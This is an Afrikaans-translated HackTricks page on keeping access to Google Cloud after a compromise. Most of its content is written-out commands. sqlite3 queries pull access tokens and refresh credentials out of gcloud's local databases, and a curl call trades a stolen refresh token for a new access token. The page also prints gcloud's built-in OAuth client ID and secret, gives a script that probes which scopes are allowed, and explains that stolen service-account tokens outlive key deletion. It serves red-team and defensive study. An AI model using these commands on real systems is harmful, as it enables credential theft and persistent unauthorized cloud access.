GCP - Non-svc Persistance

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Hierdie is nuttige tegnieke sodra jy op een of ander manier sekere GCP-legitimasie of 'n masjien wat in 'n GCP-omgewing loop, gekompromitteer het.

Token Ontvoering

Geauthentiseerde Gebruiker-Token

Om die huidige token van 'n gebruiker te kry, kan jy hardloop:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Kyk op hierdie bladsy hoe om hierdie token direk te gebruik met gcloud:

Om die besonderhede te kry om 'n nuwe toegangsteken te genereer, hardloop:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Dit is ook moontlik om hernuwingsleutels te vind in $HOME/.config/gcloud/application_default_credentials.json en in $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Om 'n nuwe verfriste toegangskode te kry met die hernuwingsleutel, kliënt-ID, en kliënt-geheim hardloop:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Die geldigheid van die hernuwingsleutels kan bestuur word in Admin > Sekuriteit > Google Cloud-sessiebeheer, en dit is standaard op 16 uur ingestel, alhoewel dit op nooit verval gestel kan word:

Outeursvloei

Die outentiseringsvloei wanneer iets soos gcloud auth login gebruik word, sal 'n venster in die blaaier oopmaak en nadat al die omvang geaanvaar is, sal die blaaier 'n versoek soos hierdie een stuur na die http-poort wat oopgemaak is deur die instrument:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Dan sal gcloud die toestand en kode gebruik met 'n paar hardgekoppelde client_id (32555940559.apps.googleusercontent.com) en client_secret (ZmssLNjJy2998hD4CTg2ejr2) om die finale verfris-token data te kry.

Let daarop dat die kommunikasie met localhost in HTTP is, so dit is moontlik om die data te onderskep om 'n verfris-token te kry, maar hierdie data is net een keer geldig, so dit sal nutteloos wees, dit is makliker om net die verfris-token uit die lêer te lees.

OAuth Onderwerpe

Jy kan al die Google-onderwerpe vind in https://developers.google.com/identity/protocols/oauth2/scopes of kry hulle deur uit te voer:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Dit is moontlik om te sien watter scopes die aansoek wat gcloud gebruik om te verifieer, kan ondersteun met hierdie skrip:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Na uitvoering is nagegaan dat hierdie program hierdie scopes ondersteun:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Dit is interessant om te sien hoe hierdie app die drive scope ondersteun, wat 'n gebruiker kan toelaat om van GCP na Workspace te eskaleer as 'n aanvaller daarin slaag om die gebruiker te dwing om 'n token met hierdie scope te genereer.

Kyk hoe om dit te misbruik hier.

Diensrekeninge

Net soos met geauthentiseerde gebruikers, as jy die privaatsleutel-lêer van 'n diensrekening kan kompromitteer, sal jy dit gewoonlik so lank as wat jy wil kan toegang. Maar, as jy die OAuth-token van 'n diensrekening steel, kan dit selfs meer interessant wees, want selfs al is hierdie tokens standaard net vir 'n uur nuttig, as die slagoffer die privaat API-sleutel verwyder, sal die OAuth-token nog steeds geldig wees tot dit verval.

Metadata

Vanzelfsprekend, solank as wat jy binne 'n masjien hardloop wat in die GCP-omgewing hardloop, sal jy in staat wees om die diensrekening wat aan daardie masjien gekoppel is, te benader deur die metadata-eindpunt te kontak (let daarop dat die OAuth-tokens wat jy in hierdie eindpunt kan benader, gewoonlik beperk word deur scopes).

Regstellings

Sommige regstellings vir hierdie tegnieke word verduidelik in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated